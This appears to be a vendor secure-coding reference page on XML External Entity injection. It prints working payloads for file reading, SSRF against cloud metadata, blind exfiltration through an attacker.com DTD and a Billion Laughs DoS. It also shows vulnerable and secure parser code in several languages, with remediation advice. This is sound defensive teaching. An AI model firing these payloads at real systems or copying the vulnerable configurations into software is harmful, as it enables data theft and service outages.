Skip to main content

XML External Entity (XXE) Injection

XML External Entity (XXE) injection occurs when an application parses XML input containing references to external entities, allowing attackers to read local files, perform SSRF, or cause denial of service.

High CWE-611 A05:2021 Security Misconfiguration
Affects: C#JavaJavaScriptPHPPythonRubyGo

What is XML External Entity (XXE) Injection?

XML External Entity (CWE-611) injection is a vulnerability that exploits XML parsers configured to process external entity references. XML supports a feature called “entities” that allows content to be loaded from external URIs. When an application parses user-supplied XML without disabling this feature, an attacker can:

  • Read local files — Access /etc/passwd, application configuration files, source code, private keys
  • Perform SSRF — Make the server send HTTP requests to internal services and cloud metadata endpoints
  • Exfiltrate data — Use out-of-band techniques to send file contents to attacker-controlled servers
  • Cause denial of service — Entity expansion attacks (Billion Laughs / XML bomb) consume exponential memory
  • Execute remote code — In certain configurations (PHP with expect://), trigger command execution

XXE attacks target the XML parser itself, not the application logic. Any endpoint that accepts XML input is potentially vulnerable, including SOAP services, SAML authentication, SVG file uploads, Office document parsing (DOCX/XLSX are ZIP-wrapped XML), and RSS/Atom feed processors.

Why it matters

Despite XML being considered a “legacy” format by some, XXE remains highly relevant:

  1. Ubiquitous XML parsing — SOAP APIs, SAML SSO, SVG rendering, Office document processing, configuration files, and data exchange formats all use XML
  2. Parser defaults are often unsafe — Many XML parsers enable external entity processing by default, especially in Java and PHP
  3. File reading is trivial — Unlike many vulnerabilities, XXE file reading requires no gadget chains or complex exploitation — a simple XML payload is sufficient
  4. SAML authentication bypass — XXE in SAML parsers has enabled authentication bypass in numerous enterprise SSO implementations
  5. Office document attacks — DOCX, XLSX, and PPTX files are ZIP archives containing XML. Applications that parse uploaded Office documents may be vulnerable to XXE via crafted documents

How exploitation works

Basic file reading

An application accepts XML input (e.g., a SOAP request or data import):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

When the parser processes this XML, it replaces &xxe; with the contents of /etc/passwd. If the parsed data is reflected in the response, the file contents are disclosed.

SSRF via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>

Blind XXE with out-of-band exfiltration

When the parsed value is not reflected in the response, attackers use parameter entities and an external DTD:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>

The attacker’s DTD (evil.dtd):

<!ENTITY % combined "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%combined;

Billion Laughs (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>

This payload expands to approximately 3 GB of text from a few hundred bytes of input, causing memory exhaustion.

Vulnerable code examples

Java

// VULNERABLE: Default DocumentBuilderFactory allows external entities
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(userXml)));
// VULNERABLE: SAXParser with default settings
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(new InputSource(new StringReader(userXml)), handler);

C# / ASP.NET

// VULNERABLE: XmlDocument with default settings (.NET Framework < 4.5.2)
XmlDocument doc = new XmlDocument();
doc.LoadXml(userInput);  // External entities processed

// VULNERABLE: XmlTextReader with default settings
XmlTextReader reader = new XmlTextReader(new StringReader(userInput));
while (reader.Read()) { /* ... */ }

Python

# VULNERABLE: lxml with default settings
from lxml import etree

def parse_xml(request):
    xml_data = request.body
    doc = etree.fromstring(xml_data)  # External entities enabled by default
    return doc.find('.//data').text

PHP

// VULNERABLE: simplexml_load_string with default settings (PHP < 8.0)
$xml = simplexml_load_string($userInput);

// VULNERABLE: DOMDocument with entity loading
$doc = new DOMDocument();
$doc->loadXML($userInput, LIBXML_NOENT);  // LIBXML_NOENT enables entity substitution

Ruby

# VULNERABLE: Nokogiri with NOENT option
doc = Nokogiri::XML(user_input) do |config|
  config.noent  # Enables entity substitution
end

Secure code examples

Java — Disable external entities

// SECURE: Disable DTDs and external entities
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(userXml)));
// SECURE: SAXParser with entities disabled
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = factory.newSAXParser();

C# — Use XmlReaderSettings

// SECURE: XmlReaderSettings with DTD processing disabled
var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,  // Reject XML with DTD
    XmlResolver = null                         // Prevent external resolution
};
using var reader = XmlReader.Create(new StringReader(userInput), settings);
var doc = new XmlDocument();
doc.Load(reader);
// SECURE: XDocument (LINQ to XML) — safe by default in .NET Core
var doc = XDocument.Parse(userInput);  // Does not process external entities

Python — Disable entity processing

# SECURE: Use defusedxml
import defusedxml.ElementTree as ET

def parse_xml(request):
    xml_data = request.body
    doc = ET.fromstring(xml_data)  # Blocks external entities, DTDs, and entity expansion
    return doc.find('.//data').text
# SECURE: lxml with entity resolution disabled
from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True)
doc = etree.fromstring(xml_data, parser=parser)

PHP — Disable entity loading

// SECURE: Disable entity loading (PHP 8.0+ disables by default)
libxml_disable_entity_loader(true);  // For PHP < 8.0
$doc = new DOMDocument();
$doc->loadXML($userInput, LIBXML_NONET);  // LIBXML_NONET blocks network access

// SECURE: simplexml without entity processing
$xml = simplexml_load_string($userInput, 'SimpleXMLElement', LIBXML_NONET);

Ruby — Nokogiri safe defaults

# SECURE: Nokogiri without NOENT (default is safe)
doc = Nokogiri::XML(user_input)  # Default: does not process external entities

# SECURE: Explicitly strict parsing
doc = Nokogiri::XML(user_input) do |config|
  config.strict.nonet  # Strict parsing, no network access
end

What Offensive360 detects

Our SAST engine analyzes XML parser configuration and data flow to identify XXE vulnerabilities. We detect:

  • Unsafe parser defaults — XML parsers instantiated without explicitly disabling external entity processing (particularly Java’s DocumentBuilderFactory, SAXParserFactory, and XMLInputFactory)
  • Explicit entity enabling — Code that explicitly enables dangerous features: LIBXML_NOENT in PHP, config.noent in Nokogiri, resolve_entities=True in lxml
  • Missing security features — Absence of disallow-doctype-decl, DtdProcessing.Prohibit, or equivalent safeguards
  • SOAP/SAML parsing — SAML assertion parsing and SOAP message handling that uses vulnerable XML parsers
  • SVG/Office processing — File upload handlers that parse SVG, DOCX, XLSX, or other XML-based formats without XXE protection
  • XInclude processing — XML parsers with XInclude enabled, which provides another vector for file inclusion

Each finding identifies the specific parser, its configuration state, and whether user-controlled XML reaches it.

Remediation guidance

  1. Disable DTDs entirely — The most effective defense is to disallow DOCTYPE declarations entirely. Set disallow-doctype-decl to true in Java, DtdProcessing.Prohibit in C#, and use defusedxml in Python.

  2. Disable external entities and parameter entities — If DTDs must be supported, disable external general entities and external parameter entities explicitly.

  3. Use safe-by-default parsers — Prefer parsers that are safe by default: defusedxml (Python), XDocument (.NET Core), Nokogiri without noent (Ruby).

  4. Validate XML before parsing — Consider using a schema (XSD) to validate XML structure before processing, rejecting unexpected elements and entities.

  5. Update XML libraries — Older versions of XML libraries often have unsafe defaults. Keep libraries updated and verify their default entity processing behavior.

  6. Use JSON where possible — If XML is not a strict requirement, use JSON, which does not have entity processing and is inherently immune to XXE.

False-positive considerations

Offensive360 may flag XML parsing that is safe in specific contexts:

  • Safe-by-default parsers — Some modern parsers (e.g., XDocument in .NET Core, xml.etree.ElementTree in Python) do not process external entities by default
  • Hardcoded/internal XML — XML generated internally or from trusted sources (not from user input) does not present an XXE risk, though defensive configuration is still recommended
  • Post-validation parsing — If XML is validated and sanitized (DOCTYPE removed) before reaching the parser
  • Newer PHP versions — PHP 8.0+ disables external entity loading by default via libxml_disable_entity_loader

References

Author: Offensive360 Security Research
Last reviewed: March 1, 2026

Detect XML External Entity (XXE) Injection in your code

Run Offensive360 SAST against your codebase to find this and hundreds of other vulnerabilities.